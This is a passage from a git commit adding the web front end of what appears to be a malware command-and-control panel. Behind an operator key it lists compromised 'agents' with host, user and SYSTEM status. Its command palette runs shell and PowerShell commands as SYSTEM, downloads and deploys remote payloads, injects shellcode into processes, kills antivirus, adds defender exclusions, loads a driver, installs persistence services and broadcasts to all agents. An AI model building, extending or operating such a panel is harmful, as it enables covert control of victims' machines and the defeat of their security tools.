Init commit
This commit is contained in:
@@ -0,0 +1,924 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>agent control</title>
|
||||
<style>
|
||||
:root {
|
||||
--bg:#0a0d12; --panel:#10161f; --panel2:#141c27; --line:#1d2632; --line2:#25313f;
|
||||
--fg:#dbe4ef; --dim:#75879c; --faint:#4b5b6d;
|
||||
--ok:#3ddc97; --warn:#f2b544; --err:#ff6b6b; --accent:#5aa9ff; --accent2:#1d4f80;
|
||||
--radius:10px;
|
||||
}
|
||||
* { box-sizing:border-box; }
|
||||
html, body { height:100%; }
|
||||
body {
|
||||
margin:0; background:var(--bg); color:var(--fg);
|
||||
font:13px/1.5 "Segoe UI Variable Text","Segoe UI",system-ui,sans-serif;
|
||||
overflow:hidden;
|
||||
}
|
||||
code, pre, .mono { font-family:"Cascadia Mono",Consolas,"SF Mono",monospace; }
|
||||
button { font:inherit; color:var(--fg); background:var(--panel2); border:1px solid var(--line2);
|
||||
border-radius:8px; padding:6px 12px; cursor:pointer; transition:border-color .12s, background .12s; }
|
||||
button:hover { border-color:var(--accent); background:#182436; }
|
||||
button.primary { background:linear-gradient(180deg,#1d5f92,#174a71); border-color:#2b7fbe; font-weight:600; }
|
||||
button.primary:hover { background:linear-gradient(180deg,#2470ab,#1a5581); }
|
||||
button.ghost { background:transparent; border-color:transparent; color:var(--dim); }
|
||||
button.ghost:hover { color:var(--fg); border-color:var(--line2); background:transparent; }
|
||||
button:disabled { opacity:.45; cursor:default; }
|
||||
input, textarea {
|
||||
font:inherit; color:var(--fg); background:#0c1219; border:1px solid var(--line2);
|
||||
border-radius:8px; padding:8px 10px; width:100%;
|
||||
}
|
||||
input:focus, textarea:focus { outline:none; border-color:var(--accent); box-shadow:0 0 0 3px rgba(90,169,255,.12); }
|
||||
::placeholder { color:var(--faint); }
|
||||
|
||||
/* ---------- shell ---------- */
|
||||
#app { display:grid; grid-template-rows:auto 1fr; height:100vh; }
|
||||
header {
|
||||
display:flex; align-items:center; gap:14px; padding:10px 18px;
|
||||
background:var(--panel); border-bottom:1px solid var(--line);
|
||||
}
|
||||
.brand { font-weight:700; letter-spacing:.16em; font-size:12px; color:var(--dim); text-transform:uppercase; }
|
||||
.brand b { color:var(--fg); }
|
||||
.pill { display:inline-flex; align-items:center; gap:6px; padding:3px 10px; border-radius:999px;
|
||||
border:1px solid var(--line2); background:#0d141d; color:var(--dim); font-size:11px; }
|
||||
.pill .dot { width:7px; height:7px; border-radius:50%; background:var(--faint); }
|
||||
.pill.live .dot { background:var(--ok); box-shadow:0 0 8px var(--ok); }
|
||||
.pill.live { color:var(--ok); border-color:#1f4a38; }
|
||||
.grow { flex:1; }
|
||||
|
||||
#main { display:grid; grid-template-columns:320px 1fr; min-height:0; }
|
||||
|
||||
/* ---------- sidebar ---------- */
|
||||
#side { border-right:1px solid var(--line); display:flex; flex-direction:column; min-height:0; background:var(--panel); }
|
||||
#sideHead { padding:12px; border-bottom:1px solid var(--line); display:flex; flex-direction:column; gap:8px; }
|
||||
.search { position:relative; }
|
||||
.search input { padding-left:30px; }
|
||||
.search svg { position:absolute; left:9px; top:9px; width:14px; height:14px; stroke:var(--faint); }
|
||||
#agentList { overflow:auto; flex:1; padding:8px; }
|
||||
.agent {
|
||||
display:grid; grid-template-columns:auto 1fr auto; gap:2px 10px; align-items:center;
|
||||
padding:9px 10px; border:1px solid transparent; border-radius:var(--radius);
|
||||
cursor:pointer; margin-bottom:4px;
|
||||
}
|
||||
.agent:hover { background:var(--panel2); }
|
||||
.agent.sel { background:#132436; border-color:#274a6d; }
|
||||
.agent.offline { opacity:.55; }
|
||||
.agent .nm { font-weight:600; display:flex; align-items:center; gap:6px; min-width:0; }
|
||||
.agent .nm span { overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
|
||||
.agent .sub { grid-column:2 / span 2; color:var(--dim); font-size:11px;
|
||||
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
|
||||
.dot { width:8px; height:8px; border-radius:50%; background:var(--faint); flex:0 0 auto; }
|
||||
.dot.on { background:var(--ok); box-shadow:0 0 8px rgba(61,220,151,.6); }
|
||||
#agentList .tag.revoked { color:var(--err); background:#2a1212; border-color:#5c2222; }
|
||||
.tag { font-size:10px; letter-spacing:.06em; padding:1px 6px; border-radius:5px;
|
||||
background:#3a2c10; color:var(--warn); border:1px solid #5a4418; text-transform:uppercase; }
|
||||
.badge { font-size:10px; padding:1px 6px; border-radius:999px; background:#1b2836; color:var(--dim); }
|
||||
|
||||
/* ---------- content ---------- */
|
||||
#content { display:flex; flex-direction:column; min-height:0; min-width:0; }
|
||||
#agentHead { padding:14px 18px; border-bottom:1px solid var(--line); background:var(--panel); }
|
||||
#agentHead .title { display:flex; align-items:center; gap:10px; flex-wrap:wrap; }
|
||||
#agentHead h2 { margin:0; font-size:16px; font-weight:600; }
|
||||
.meta { display:flex; gap:8px; flex-wrap:wrap; margin-top:8px; }
|
||||
.meta .pill { font-family:inherit; }
|
||||
.emptyHead { color:var(--dim); }
|
||||
|
||||
#composer { padding:12px 18px 6px; display:flex; flex-direction:column; gap:8px; }
|
||||
#cmdRow { display:flex; gap:8px; align-items:stretch; }
|
||||
#text { resize:vertical; min-height:42px; max-height:160px; height:42px; }
|
||||
#sendBtn { align-self:stretch; padding:0 18px; }
|
||||
#chips { display:flex; gap:6px; flex-wrap:wrap; }
|
||||
#chips button { font-size:11px; padding:4px 9px; border-radius:999px; color:var(--dim); }
|
||||
#chips button:hover { color:var(--fg); }
|
||||
#chips button.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
|
||||
#chips button.danger:hover { color:#fff; background:#3a1616; }
|
||||
|
||||
#cmdBar { display:flex; align-items:center; gap:10px; }
|
||||
#moreCmds { font-size:11px; padding:3px 10px; border-radius:999px; color:var(--accent); }
|
||||
|
||||
#palette { display:none; flex-direction:column; gap:8px; border:1px solid var(--line);
|
||||
border-radius:var(--radius); background:#0d131b; padding:10px; max-height:340px; overflow:auto; }
|
||||
#palette.open { display:flex; }
|
||||
.pgroup { display:flex; align-items:baseline; gap:6px; flex-wrap:wrap; }
|
||||
.plabel { color:var(--faint); font-size:10px; text-transform:uppercase; letter-spacing:.1em;
|
||||
width:78px; flex:0 0 auto; }
|
||||
.pchip { font-size:11px; padding:3px 8px; border-radius:6px; color:var(--dim); background:#121a24; }
|
||||
.pchip:hover { color:var(--fg); border-color:var(--accent); }
|
||||
.pchip.danger { color:var(--err); border-color:#5c2222; background:#2a1212; }
|
||||
.pchip.danger:hover { color:#fff; background:#3a1616; }
|
||||
.hint { color:var(--faint); font-size:11px; }
|
||||
|
||||
#viewBar { display:flex; align-items:center; gap:6px; padding:10px 18px 0; }
|
||||
.tab { background:transparent; border:1px solid transparent; border-radius:8px; color:var(--dim);
|
||||
padding:5px 12px; font-size:12px; }
|
||||
.tab:hover { color:var(--fg); background:var(--panel2); }
|
||||
.tab.active { color:var(--fg); background:var(--panel2); border-color:var(--line2); }
|
||||
|
||||
#allView { display:none; flex:1; overflow:auto; padding:10px 18px 18px; }
|
||||
#cmdTable { width:100%; min-width:980px; border-collapse:collapse; font-size:12px; table-layout:fixed; }
|
||||
#cmdTable th:nth-child(1) { width:95px; }
|
||||
#cmdTable th:nth-child(2) { width:110px; }
|
||||
#cmdTable th:nth-child(3) { width:150px; }
|
||||
#cmdTable th:nth-child(4) { width:80px; }
|
||||
#cmdTable th:nth-child(5) { width:80px; }
|
||||
#cmdTable th:nth-child(6) { width:300px; }
|
||||
#cmdTable th:nth-child(7) { width:70px; }
|
||||
#cmdTable th { position:sticky; top:0; z-index:1; background:var(--panel); text-align:left;
|
||||
color:var(--dim); font-weight:600; font-size:11px; letter-spacing:.06em;
|
||||
text-transform:uppercase; padding:8px 10px; border-bottom:1px solid var(--line2);
|
||||
cursor:pointer; user-select:none; white-space:nowrap; }
|
||||
#cmdTable th:hover { color:var(--fg); }
|
||||
#cmdTable th.sorted { color:var(--accent); }
|
||||
#cmdTable th.sorted.desc::after { content:" v"; }
|
||||
#cmdTable th.sorted.asc::after { content:" ^"; }
|
||||
#cmdTable td { padding:7px 10px; border-bottom:1px solid var(--line); vertical-align:top; }
|
||||
#cmdTable tr.row { cursor:pointer; }
|
||||
#cmdTable tr.row:hover { background:var(--panel2); }
|
||||
#cmdTable td.when { color:var(--faint); white-space:nowrap; font-variant-numeric:tabular-nums; }
|
||||
#cmdTable td.agent { color:var(--accent); white-space:nowrap; }
|
||||
#cmdTable td.text { font-family:"Cascadia Mono",Consolas,monospace;
|
||||
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
|
||||
#cmdTable .rerun { display:inline-block; margin-right:6px; padding:0 5px; border-radius:4px;
|
||||
font-size:10px; letter-spacing:.04em; color:var(--accent);
|
||||
border:1px solid #1d4f80; background:#0f2131; cursor:pointer; }
|
||||
#cmdTable .rerun:hover { background:#15324a; color:#cfe4ff; }
|
||||
#cmdTable .exp { display:inline-block; width:12px; margin-right:6px; color:var(--faint);
|
||||
cursor:pointer; text-align:center; }
|
||||
#cmdTable .exp:hover { color:var(--accent); }
|
||||
#cmdTable td.res { cursor:pointer; }
|
||||
#cmdTable td.num { color:var(--faint); white-space:nowrap; text-align:right; }
|
||||
#cmdTable td.res { color:#9fb2c6; overflow:hidden; text-overflow:ellipsis;
|
||||
white-space:nowrap; font-family:"Cascadia Mono",Consolas,monospace; }
|
||||
#cmdTable tr.detail td { background:#0c1219; border-bottom:1px solid var(--line2); }
|
||||
#cmdTable tr.detail pre { margin:0; white-space:pre-wrap; word-break:break-word; color:#c6d3e2; }
|
||||
#history { flex:1; overflow:auto; padding:6px 18px 18px; }
|
||||
.cmd { border:1px solid var(--line); border-radius:var(--radius); background:var(--panel);
|
||||
margin-bottom:8px; overflow:hidden; }
|
||||
.cmd .top { display:flex; align-items:center; gap:10px; padding:8px 12px; cursor:pointer; }
|
||||
.cmd .top:hover { background:var(--panel2); }
|
||||
.cmd .txt { flex:1; min-width:0; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;
|
||||
font-family:"Cascadia Mono",Consolas,monospace; font-size:12px; }
|
||||
.state { font-size:10px; letter-spacing:.06em; text-transform:uppercase; padding:2px 7px;
|
||||
border-radius:5px; border:1px solid; }
|
||||
.state.queued { color:var(--warn); border-color:#5a4418; background:#2a2110; }
|
||||
.state.sent { color:var(--accent); border-color:#1d4f80; background:#0f2131; }
|
||||
.state.done { color:var(--ok); border-color:#1f4a38; background:#0f2419; }
|
||||
.state.failed, .state.error { color:var(--err); border-color:#5c2222; background:#2a1212; }
|
||||
.cmd .when { color:var(--faint); font-size:11px; white-space:nowrap; }
|
||||
.cmd .body { display:none; border-top:1px solid var(--line); padding:10px 12px; }
|
||||
.cmd.open .body { display:block; }
|
||||
.cmd .body pre { margin:0; white-space:pre-wrap; word-break:break-word; font-size:12px; color:#c6d3e2; }
|
||||
.cmd .body .empty { color:var(--faint); font-style:italic; }
|
||||
.copy { float:right; margin-left:10px; }
|
||||
|
||||
/* ---------- overlays ---------- */
|
||||
#login { position:fixed; inset:0; background:radial-gradient(1200px 600px at 50% -10%,#12202e,#070a0e 70%);
|
||||
display:flex; align-items:center; justify-content:center; z-index:20; }
|
||||
.card { width:340px; background:var(--panel); border:1px solid var(--line2); border-radius:14px;
|
||||
padding:26px; box-shadow:0 24px 60px rgba(0,0,0,.55); }
|
||||
.card h1 { font-size:12px; letter-spacing:.24em; color:var(--dim); text-transform:uppercase; margin:0 0 18px; }
|
||||
.card label { display:block; font-size:11px; color:var(--dim); margin-bottom:6px; }
|
||||
.card button { width:100%; margin-top:14px; }
|
||||
.err { color:var(--err); font-size:12px; min-height:18px; margin-top:10px; }
|
||||
|
||||
#toasts { position:fixed; right:16px; bottom:16px; display:flex; flex-direction:column; gap:8px; z-index:30; }
|
||||
.toast { background:var(--panel2); border:1px solid var(--line2); border-left:3px solid var(--accent);
|
||||
border-radius:8px; padding:9px 14px; font-size:12px; box-shadow:0 10px 30px rgba(0,0,0,.45);
|
||||
animation:slide .18s ease-out; }
|
||||
.toast.ok { border-left-color:var(--ok); }
|
||||
.toast.bad { border-left-color:var(--err); }
|
||||
@keyframes slide { from { transform:translateY(6px); opacity:0 } to { transform:none; opacity:1 } }
|
||||
|
||||
@media (max-width:900px) {
|
||||
#main { grid-template-columns:1fr; }
|
||||
#side { display:none; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div id="login">
|
||||
<div class="card">
|
||||
<h1>Agent Control</h1>
|
||||
<label for="key">Operator key</label>
|
||||
<input id="key" type="password" placeholder="paste key" autocomplete="off">
|
||||
<button class="primary" id="loginBtn">Connect</button>
|
||||
<div class="err" id="loginErr"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="app">
|
||||
<header>
|
||||
<div class="brand">agent <b>control</b></div>
|
||||
<div class="pill" id="livePill"><span class="dot"></span><span id="liveText">connecting</span></div>
|
||||
<div class="grow"></div>
|
||||
<div class="hint" id="refreshed"></div>
|
||||
<button class="ghost" id="bcBtn" title="Send one command to every online agent">broadcast</button>
|
||||
<button class="ghost" id="refreshBtn" title="Refresh now">refresh</button>
|
||||
<button class="ghost" id="lockBtn" title="Forget key">lock</button>
|
||||
</header>
|
||||
|
||||
<div id="main">
|
||||
<aside id="side">
|
||||
<div id="sideHead">
|
||||
<div class="search">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke-width="2"><circle cx="11" cy="11" r="7"/><path d="M20 20l-3.5-3.5"/></svg>
|
||||
<input id="filter" placeholder="Search agents" autocomplete="off">
|
||||
</div>
|
||||
<div class="hint" id="agentCount">0 agents</div>
|
||||
</div>
|
||||
<div id="agentList"></div>
|
||||
</aside>
|
||||
|
||||
<section id="content">
|
||||
<div id="agentHead">
|
||||
<div class="emptyHead" id="noAgent">Select an agent on the left to open a console.</div>
|
||||
<div class="title" id="agentTitle" style="display:none">
|
||||
<h2 id="aName"></h2>
|
||||
<span class="pill" id="aState"><span class="dot"></span><span id="aStateText"></span></span>
|
||||
<div class="grow"></div>
|
||||
<button class="ghost" id="revokeBtn" title="Toggle this agent key">revoke</button>
|
||||
<button class="ghost" id="clearSelection">close</button>
|
||||
</div>
|
||||
<div class="meta" id="agentMeta"></div>
|
||||
</div>
|
||||
|
||||
<div id="viewBar">
|
||||
<button class="tab active" data-view="console">Console</button>
|
||||
<button class="tab" data-view="commands">All commands</button>
|
||||
<div class="grow"></div>
|
||||
<input id="cmdFilter" placeholder="filter commands" style="display:none;max-width:220px">
|
||||
<select id="stateFilter" style="display:none;max-width:180px">
|
||||
<option value="done" selected>executed (done)</option>
|
||||
<option value="">any state</option>
|
||||
<option value="queued">queued</option>
|
||||
<option value="sent">sent</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div id="allView">
|
||||
<table id="cmdTable">
|
||||
<thead>
|
||||
<tr>
|
||||
<th data-sort="created" class="sorted desc">time</th>
|
||||
<th data-sort="agent">agent</th>
|
||||
<th data-sort="text">command</th>
|
||||
<th data-sort="state">state</th>
|
||||
<th data-sort="operator">by</th>
|
||||
<th data-sort="result">result</th>
|
||||
<th data-sort="duration">took</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="cmdBody"></tbody>
|
||||
</table>
|
||||
<div class="hint" id="cmdEmpty" style="padding:14px;display:none">No commands match.</div>
|
||||
</div>
|
||||
|
||||
<div id="composer" style="display:none">
|
||||
<div id="cmdRow">
|
||||
<textarea id="text" rows="1" placeholder="Type a command, e.g. STATUS (Enter to send, Shift+Enter for newline)"></textarea>
|
||||
<button class="primary" id="sendBtn">send</button>
|
||||
</div>
|
||||
<div id="chips"></div>
|
||||
<div id="cmdBar">
|
||||
<button class="ghost" id="moreCmds">all commands</button>
|
||||
<div class="grow"></div>
|
||||
<span class="hint">commands with <args> load into the box, the rest run immediately</span>
|
||||
</div>
|
||||
<div id="palette">
|
||||
<input id="cmdSearch" placeholder="Search all commands" autocomplete="off">
|
||||
<div id="cmdGroups"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="history"></div>
|
||||
</section>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="toasts"></div>
|
||||
|
||||
<script>
|
||||
var KEY = localStorage.getItem("agentKey") || "";
|
||||
var agents = [];
|
||||
var selected = null;
|
||||
var commands = [];
|
||||
var timer = null;
|
||||
var lastRefresh = 0;
|
||||
var openIds = {};
|
||||
|
||||
// Every command the agent accepts, grouped for the palette.
|
||||
// args:true means the chip pre-fills the box so the operator can fill values.
|
||||
var COMMANDS = [
|
||||
{ c: "PING", g: "basics" },
|
||||
{ c: "STATUS", g: "basics" },
|
||||
{ c: "HELP", g: "basics" },
|
||||
|
||||
{ c: "RUN <cmd>", g: "execute", a: 1 },
|
||||
{ c: "EXEC <commandline>", g: "execute", a: 1 },
|
||||
{ c: "RUN_USER <cmd>", g: "execute", a: 1 },
|
||||
{ c: "RUN_SYSTEM <cmd>", g: "execute", a: 1 },
|
||||
{ c: "PS <powershell command>", g: "execute", a: 1 },
|
||||
{ c: "PS_USER <powershell command>", g: "execute", a: 1 },
|
||||
|
||||
{ c: "RUNFILE <path> [args]", g: "files", a: 1 },
|
||||
{ c: "RUNFILE_USER <path> [args]", g: "files", a: 1 },
|
||||
{ c: "RUNFILE_SYSTEM <path> [args]", g: "files", a: 1 },
|
||||
{ c: "OPENFILE <path> [args]", g: "files", a: 1 },
|
||||
{ c: "OPENFILE_USER <path> [args]", g: "files", a: 1 },
|
||||
{ c: "DOWNLOAD <url> <output-path> [sha256]", g: "files", a: 1 },
|
||||
{ c: "DEPLOY <url> [args]", g: "files", a: 1 },
|
||||
{ c: "DEPLOY_SYSTEM <url> [args]", g: "files", a: 1 },
|
||||
|
||||
{ c: "KILLPID <pid>", g: "processes", a: 1 },
|
||||
{ c: "KILLNAME <name.exe>", g: "processes", a: 1 },
|
||||
{ c: "KILLALL <name.exe>", g: "processes", a: 1 },
|
||||
{ c: "TOKEN_GET", g: "processes" },
|
||||
{ c: "INJECT_FILE <pid> <shellcode-path>", g: "processes", a: 1 },
|
||||
{ c: "INJECT_SUSPEND <exe-path> <shellcode-path>", g: "processes", a: 1 },
|
||||
|
||||
{ c: "KILLAV", g: "security", danger: 1 },
|
||||
{ c: "KILLAV_DRYRUN", g: "security" },
|
||||
{ c: "EXCLUSION_LIST", g: "security" },
|
||||
{ c: "EXCLUSION_ADD <path>", g: "security", a: 1 },
|
||||
{ c: "EXCLUSION_APPLY", g: "security" },
|
||||
|
||||
{ c: "DRIVER_STATUS", g: "driver" },
|
||||
{ c: "DRIVER_RESET", g: "driver" },
|
||||
{ c: "DRIVER_LOAD", g: "driver" },
|
||||
|
||||
{ c: "HOST_LIST", g: "hosts" },
|
||||
{ c: "HOST_SPAWN [--host <image>] <exe> [args]", g: "hosts", a: 1 },
|
||||
{ c: "HOST_SPAWN_USER [--host <image>] <exe> [args]", g: "hosts", a: 1 },
|
||||
{ c: "HOST_INJECT <shellcode-path> [--host <image>]", g: "hosts", a: 1 },
|
||||
{ c: "HOST_TRACK", g: "hosts" },
|
||||
{ c: "HOST_UNTRACK", g: "hosts" },
|
||||
|
||||
{ c: "STAGE_STATUS", g: "payload" },
|
||||
{ c: "STAGE_INJECT [--host <image>]", g: "payload", a: 1 },
|
||||
{ c: "STAGE_RUN <command line>", g: "payload", a: 1 },
|
||||
{ c: "STAGE_STOP", g: "payload" },
|
||||
|
||||
{ c: "SERVICE_STATUS <name>", g: "services", a: 1 },
|
||||
{ c: "START_SERVICE <name> [binary-path]", g: "services", a: 1 },
|
||||
{ c: "INSTALL_SERVICE <name> [binary-path]", g: "services", a: 1 },
|
||||
{ c: "INSTALL_CLOUD_SERVICE <name>", g: "services", a: 1 },
|
||||
{ c: "INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]", g: "services", a: 1 },
|
||||
|
||||
{ c: "STOP", g: "session", danger: 1 }
|
||||
];
|
||||
|
||||
var QUICK = ["STATUS", "PING", "HOST_LIST", "STAGE_STATUS", "DRIVER_STATUS", "EXCLUSION_LIST", "KILLAV_DRYRUN", "HELP"];
|
||||
|
||||
function $(id) { return document.getElementById(id); }
|
||||
|
||||
function esc(v) {
|
||||
return String(v == null ? "" : v).replace(/[&<>"']/g, function (c) {
|
||||
return { "&":"&", "<":"<", ">":">", '"':""", "'":"'" }[c];
|
||||
});
|
||||
}
|
||||
|
||||
function ago(sec) {
|
||||
sec = Math.max(0, sec | 0);
|
||||
if (sec < 60) return sec + "s ago";
|
||||
if (sec < 3600) return Math.floor(sec / 60) + "m ago";
|
||||
if (sec < 86400) return Math.floor(sec / 3600) + "h ago";
|
||||
return Math.floor(sec / 86400) + "d ago";
|
||||
}
|
||||
|
||||
function clock(ts) {
|
||||
var d = new Date(ts * 1000);
|
||||
return d.toLocaleTimeString([], { hour: "2-digit", minute: "2-digit", second: "2-digit" });
|
||||
}
|
||||
|
||||
function toast(msg, kind) {
|
||||
var el = document.createElement("div");
|
||||
el.className = "toast " + (kind || "");
|
||||
el.textContent = msg;
|
||||
$("toasts").appendChild(el);
|
||||
setTimeout(function () { el.remove(); }, 3200);
|
||||
}
|
||||
|
||||
function api(path, opts) {
|
||||
return fetch(path, Object.assign({
|
||||
headers: { "X-Operator-Key": KEY, "Content-Type": "application/json" }
|
||||
}, opts || {})).then(function (res) {
|
||||
if (res.status === 403) { lock("operator key rejected"); throw new Error("denied"); }
|
||||
return res.json();
|
||||
});
|
||||
}
|
||||
|
||||
function lock(msg) {
|
||||
if (timer) { clearInterval(timer); timer = null; }
|
||||
$("login").style.display = "flex";
|
||||
$("loginErr").textContent = msg || "";
|
||||
$("key").focus();
|
||||
}
|
||||
|
||||
function connect() {
|
||||
KEY = $("key").value.trim();
|
||||
if (!KEY) { $("loginErr").textContent = "key required"; return; }
|
||||
localStorage.setItem("agentKey", KEY);
|
||||
$("login").style.display = "none";
|
||||
start();
|
||||
}
|
||||
|
||||
function start() {
|
||||
renderChips();
|
||||
refresh(true);
|
||||
if (timer) clearInterval(timer);
|
||||
timer = setInterval(function () { refresh(false); }, 3000);
|
||||
}
|
||||
|
||||
function refresh(force) {
|
||||
return Promise.all([api("/api/agents"), api("/api/stats")]).then(function (r) {
|
||||
agents = r[0].agents || [];
|
||||
var online = 0;
|
||||
agents.forEach(function (a) { if (a.online) online++; });
|
||||
|
||||
$("liveText").textContent = online + " online / " + agents.length;
|
||||
$("livePill").className = "pill" + (online ? " live" : "");
|
||||
$("agentCount").textContent = agents.length + (agents.length === 1 ? " agent" : " agents");
|
||||
lastRefresh = Date.now();
|
||||
$("refreshed").textContent = "updated " + new Date(lastRefresh).toLocaleTimeString();
|
||||
|
||||
renderAgents();
|
||||
|
||||
if (viewMode === "commands") { loadAll(); return; }
|
||||
|
||||
if (selected) {
|
||||
var a = agents.filter(function (x) { return x.id === selected; })[0];
|
||||
if (a) renderHead(a);
|
||||
return api("/api/commands?agent=" + encodeURIComponent(selected) + "&limit=40").then(function (list) {
|
||||
commands = list.commands || [];
|
||||
renderHistory();
|
||||
});
|
||||
}
|
||||
}).catch(function (e) {
|
||||
if (String(e.message) !== "denied") toast("refresh failed: " + e.message, "bad");
|
||||
});
|
||||
}
|
||||
|
||||
function renderAgents() {
|
||||
var f = ($("filter").value || "").toLowerCase();
|
||||
var rows = agents.filter(function (a) {
|
||||
return !f || String(a.id).toLowerCase().indexOf(f) >= 0 || String(a.host || "").toLowerCase().indexOf(f) >= 0;
|
||||
}).sort(function (a, b) {
|
||||
if (a.online !== b.online) return a.online ? -1 : 1;
|
||||
return a.age - b.age;
|
||||
});
|
||||
|
||||
var html = rows.map(function (a) {
|
||||
var cls = "agent" + (a.id === selected ? " sel" : "") + (a.online ? "" : " offline");
|
||||
var user = (a.user || "").split("\\").pop() || "unknown";
|
||||
return '<div class="' + cls + '" data-agent="' + esc(a.id) + '" tabindex="0">' +
|
||||
'<span class="dot ' + (a.online ? "on" : "") + '"></span>' +
|
||||
'<div class="nm"><span>' + esc(a.id) + '</span>' +
|
||||
(a.system ? '<span class="tag">system</span>' : "") +
|
||||
(a.revoked ? '<span class="tag revoked">revoked</span>' : "") + '</div>' +
|
||||
(a.queued ? '<span class="badge">' + a.queued + ' queued</span>' : '<span></span>') +
|
||||
'<div class="sub">' + esc(a.host || "unknown host") + ' - ' + esc(user) +
|
||||
' - ' + ago(a.age) + '</div>' +
|
||||
'</div>';
|
||||
}).join("");
|
||||
|
||||
$("agentList").innerHTML = html || '<div class="hint" style="padding:14px">No agents match.</div>';
|
||||
|
||||
Array.prototype.forEach.call($("agentList").querySelectorAll(".agent"), function (el) {
|
||||
el.addEventListener("click", function () { select(el.getAttribute("data-agent")); });
|
||||
el.addEventListener("keydown", function (e) {
|
||||
if (e.key === "Enter" || e.key === " ") { e.preventDefault(); select(el.getAttribute("data-agent")); }
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function pill(label) { return '<span class="pill">' + esc(label) + '</span>'; }
|
||||
|
||||
function renderHead(a) {
|
||||
$("noAgent").style.display = "none";
|
||||
$("agentTitle").style.display = "flex";
|
||||
$("composer").style.display = "flex";
|
||||
|
||||
$("aName").textContent = a.id;
|
||||
$("aState").className = "pill" + (a.revoked ? "" : (a.online ? " live" : ""));
|
||||
$("aStateText").textContent = a.revoked ? "revoked" : (a.online ? "online" : "offline");
|
||||
$("revokeBtn").textContent = a.revoked ? "restore" : "revoke";
|
||||
|
||||
var meta = [
|
||||
pill("host " + (a.host || "?")),
|
||||
pill("user " + (a.user || "?")),
|
||||
pill("sid " + (a.sid || "?")),
|
||||
pill("v" + (a.version || "?")),
|
||||
pill("interval " + Math.round((a.interval || 0) / 1000) + "s"),
|
||||
pill("seen " + ago(a.age))
|
||||
];
|
||||
if (a.queued) meta.push(pill(a.queued + " queued"));
|
||||
$("agentMeta").innerHTML = meta.join("");
|
||||
}
|
||||
|
||||
function select(id) {
|
||||
selected = id;
|
||||
openIds = {};
|
||||
renderAgents();
|
||||
var a = agents.filter(function (x) { return x.id === id; })[0];
|
||||
if (a) renderHead(a);
|
||||
refresh(false);
|
||||
}
|
||||
|
||||
function chipButton(entry, cls) {
|
||||
var danger = entry.danger ? " danger" : "";
|
||||
var label = entry.label || entry.c
|
||||
.replace(/<[^>]*>/g, "")
|
||||
.replace(/\[[^\]]*\]/g, "")
|
||||
.replace(/\s+/g, " ")
|
||||
.trim()
|
||||
.toLowerCase();
|
||||
return '<button class="' + cls + danger + '" data-cmd="' + esc(entry.c) + '" data-args="' + (entry.a ? 1 : 0) + '"' +
|
||||
' title="' + esc(entry.c) + '">' + esc(label) + "</button>";
|
||||
}
|
||||
|
||||
function clickChip(cmd, hasArgs) {
|
||||
if (!selected) { toast("select an agent first", "bad"); return; }
|
||||
|
||||
if (hasArgs) {
|
||||
var box = $("text");
|
||||
box.value = cmd;
|
||||
box.focus();
|
||||
box.style.height = "42px";
|
||||
box.style.height = Math.min(box.scrollHeight, 160) + "px";
|
||||
toast("fill in the arguments, then Enter", "ok");
|
||||
return;
|
||||
}
|
||||
|
||||
$("text").value = cmd;
|
||||
send();
|
||||
}
|
||||
|
||||
function renderChips() {
|
||||
var quick = QUICK.map(function (name) {
|
||||
var entry = COMMANDS.filter(function (c) { return c.c === name; })[0] || { c: name };
|
||||
return chipButton(entry, "chip");
|
||||
}).join("");
|
||||
|
||||
$("chips").innerHTML = quick;
|
||||
|
||||
Array.prototype.forEach.call($("chips").querySelectorAll("button"), function (b) {
|
||||
b.addEventListener("click", function () {
|
||||
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
|
||||
});
|
||||
});
|
||||
|
||||
$("moreCmds").textContent = "all commands (" + COMMANDS.length + ")";
|
||||
renderPalette("");
|
||||
}
|
||||
|
||||
function renderPalette(filter) {
|
||||
var f = (filter || "").toLowerCase();
|
||||
var groups = {};
|
||||
|
||||
COMMANDS.forEach(function (entry) {
|
||||
if (f && entry.c.toLowerCase().indexOf(f) < 0) return;
|
||||
(groups[entry.g] = groups[entry.g] || []).push(entry);
|
||||
});
|
||||
|
||||
var html = Object.keys(groups).map(function (g) {
|
||||
return '<div class="pgroup"><div class="plabel">' + esc(g) + "</div>" +
|
||||
groups[g].map(function (e) { return chipButton(e, "pchip"); }).join("") + "</div>";
|
||||
}).join("");
|
||||
|
||||
$("cmdGroups").innerHTML = html || '<div class="hint">no command matches</div>';
|
||||
|
||||
Array.prototype.forEach.call($("cmdGroups").querySelectorAll("button"), function (b) {
|
||||
b.addEventListener("click", function () {
|
||||
clickChip(b.getAttribute("data-cmd"), b.getAttribute("data-args") === "1");
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function renderHistory() {
|
||||
if (!selected) { $("history").innerHTML = ""; return; }
|
||||
|
||||
if (!commands.length) {
|
||||
$("history").innerHTML = '<div class="hint" style="padding:18px">No commands yet. Use a quick action above.</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
commands.forEach(function (c, i) {
|
||||
if (i === 0 && c.state === "done" && !(c.id in openIds)) openIds[c.id] = true;
|
||||
});
|
||||
|
||||
$("history").innerHTML = commands.map(function (c) {
|
||||
var open = openIds[c.id] ? " open" : "";
|
||||
var duration = c.finished && c.sent ? ((c.finished - c.sent) * 1000) + " ms" : (c.state === "sent" ? "waiting" : "");
|
||||
var result = c.result
|
||||
? '<pre id="r_' + esc(c.id) + '">' + esc(c.result) + '</pre>'
|
||||
: '<div class="empty">no output yet</div>';
|
||||
return '<div class="cmd' + open + '" data-id="' + esc(c.id) + '">' +
|
||||
